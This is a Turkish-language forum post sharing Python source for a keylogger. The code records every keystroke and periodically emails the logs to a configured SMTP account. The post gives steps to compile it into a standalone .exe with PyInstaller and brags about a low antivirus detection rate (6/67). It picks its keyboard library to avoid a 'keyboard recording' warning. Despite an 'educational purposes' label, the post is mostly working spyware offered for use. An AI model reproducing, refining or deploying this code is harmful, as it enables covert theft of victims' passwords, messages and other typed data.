Forum

Bildirimler
Tümünü temizle

Python ile Keylogger Yaptım (VT 6/67)

1 Yazılar
1 Üyeler
1 Likes
1,308 Görüntüleme
R4d1x
(@admin)
Trusted Member Admin
Katılım : 2 sene önce
Gönderiler: 36
Konu başlatıcı  

Tamamen calisan Keylogger sistemi. VirusTotal yakalanma orani : 6/67!! Gelistirmeye aciktir.. Egitim amaciyla düzenlenmistir!

Kullanim

Kodun icerisindeki bazi kisimlari lütfen kendinize göre düzenleyiniz:

7  MAIL_USER = "MAIL ADDRESSINIZI GIRIN" 
8  MAIL_SIFRE = "MAIL SIFRENIZI GIRIN" 
9  MAIL_SMTP = "smtp.ethereal.email" #Ethereal Örnegidir
10 SMTP_PORT = 587 # Ethereal Portudur
11 RAPOR_SURE = 60 # loglarin mail ile atilma süresini düzenler
12 RAPOR_TIPI = "mail" # "mail" veya sadece kayit icin "dosya" tercih edilebilir!

Satirlardaki bilgileri kendi bilgileriniz ile düzenleyiniz! Buradaki PORT ve SMTP ethereal email servisinden örnektir! Eger baska bir mail kullanirsaniz bu bilgileri mail servis saglayiciniza uygun düzenleyiniz!

SMS ile Cifte Authentication Güvenliginiz var ise Hata alirsiniz!!

Kullanim

Py Installer yüklü degil ise :

pip install pyinstaller

Projenizi düzenlediginiz dosyanin icine CMD/Terminal ile giriniz:

pyinstaller proje.py --onefile

Komutu ile projenizi tek bir .exe olarak cikarabilirsiniz!

import keyboard #pynput kullanilabilir fakat "keyboard recording" uyarisi verir!
import smtplib
from threading import Timer
from datetime import datetime
import sifre

MAIL_USER = "MAIL ADDRESSINIZI GIRIN" 
MAIL_SIFRE = "MAIL SIFRENIZI GIRIN" 
MAIL_SMTP = "smtp.ethereal.email" #Ethereal Örnegidir
SMTP_PORT = 587 # Ethereal Portudur
RAPOR_SURE = 60 # loglarin mail ile atilma süresini düzenler
RAPOR_TIPI = "mail" # "mail" veya sadece kayit icin "dosya" tercih edilebilir!

class Keylogger:
    def __init__(self, sure, rapor):
        self.sure = sure
        self.rapor = rapor
        self.log = ""
        self.baslangic = datetime.strftime(datetime.today() , '%d-%m-%Y-%Hh-%Mm')
        self.bitis = datetime.strftime(datetime.today() , '%d-%m-%Y-%Hh-%Mm')


    def tus_yakalama(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]"
            elif name == "tab":
                name = "[TAB]"
            elif name == "ctrl":
                name = "[CTRL]"
            elif name == "alt":
                name = "[ALT]"
            elif name == "backspace":
                name = "[SIL]"
            elif name == "shift":
                name = "[^]"
            elif name == "!":
                name = "[!]"
            elif name == "down":
                name = "[ALT_TUS]"
            elif name == "right":
                name = "[SAG_TUS]"
            elif name == "left":
                name = "[SOL_TUS]"
            elif name == "up":
                name = "[ÜST_TUS]"
        #elif name == " ":
            #name = "[BOSLUK]"  # BOSLUK YERINE [BOSLUK] YAZMASINI SAGLAR
        self.log += name


    def dosya_isimlendir(self):
        baslama_zamani = str(self.baslangic)
        bitis_zamani = str(self.bitis)
        self.dosya_adi = f"log{baslama_zamani}_{bitis_zamani}"

    def dosya_olustur(self):
        with open(f"{self.dosya_adi}.txt", "w+") as d:
            print(self.log, file=d)
        print(f"[+] Yeni girdi: {self.dosya_adi}.txt") # Terminalden cikti verir

    def mail_gonderme(self, icerik, mail=MAIL_USER, sifre=MAIL_SIFRE):
        server = smtplib.SMTP(host=MAIL_SMTP, port=SMTP_PORT)
        #TLS modunda sifreleme icin :
        server.starttls()
        server.login(mail, sifre)
        server.sendmail(mail,mail,icerik.encode('utf-8'))
        server.quit()

    def icerik(self):
        if self.log:
            self.dosya_isimlendir()
            self.dosya_olustur()
            if self.rapor == "mail":
                self.mail_gonderme(self.log, MAIL_USER,MAIL_SIFRE)
            elif self.rapor == "dosya":
                self.dosya_olustur() #yönlendirme eklenebilir
            print(f"[{self.dosya_adi} icine yazdirildi: {self.log}") # Terminalde yazdirilan loglari görme
            self.baslangic = datetime.strftime(datetime.today() , '%d-%m-%Y-%Hh-%Mm')

        zamanlayici = Timer(interval=RAPOR_SURE, function=self.icerik) # Multithread yapmasi icin zamanlayici döngü
        zamanlayici.daemon = True
        zamanlayici.start()
        self.log = ""

    def baslat(self):
        self.baslangic = datetime.strftime(datetime.today() , '%d-%m-%Y-%Hh-%Mm')
        keyboard.on_release(callback=self.tus_yakalama)
        self.icerik()
        keyboard.wait()

if __name__ == "__main__":
    logger = Keylogger(sure=RAPOR_SURE, rapor=RAPOR_TIPI)
    logger.baslat()
Bu konu 2 sene önce tarafından R4d1x tarihinde düzenlendi

Koddunyam.net %100 ücretsiz bir bilgi paylasim sitesidir! Bilgiyi paylasmak istemeyenler ve kendine saklamak isteyenlerin yeri kesinlikle burasi degildir.


   
GoodFellas reacted
Alıntı
Paylaş: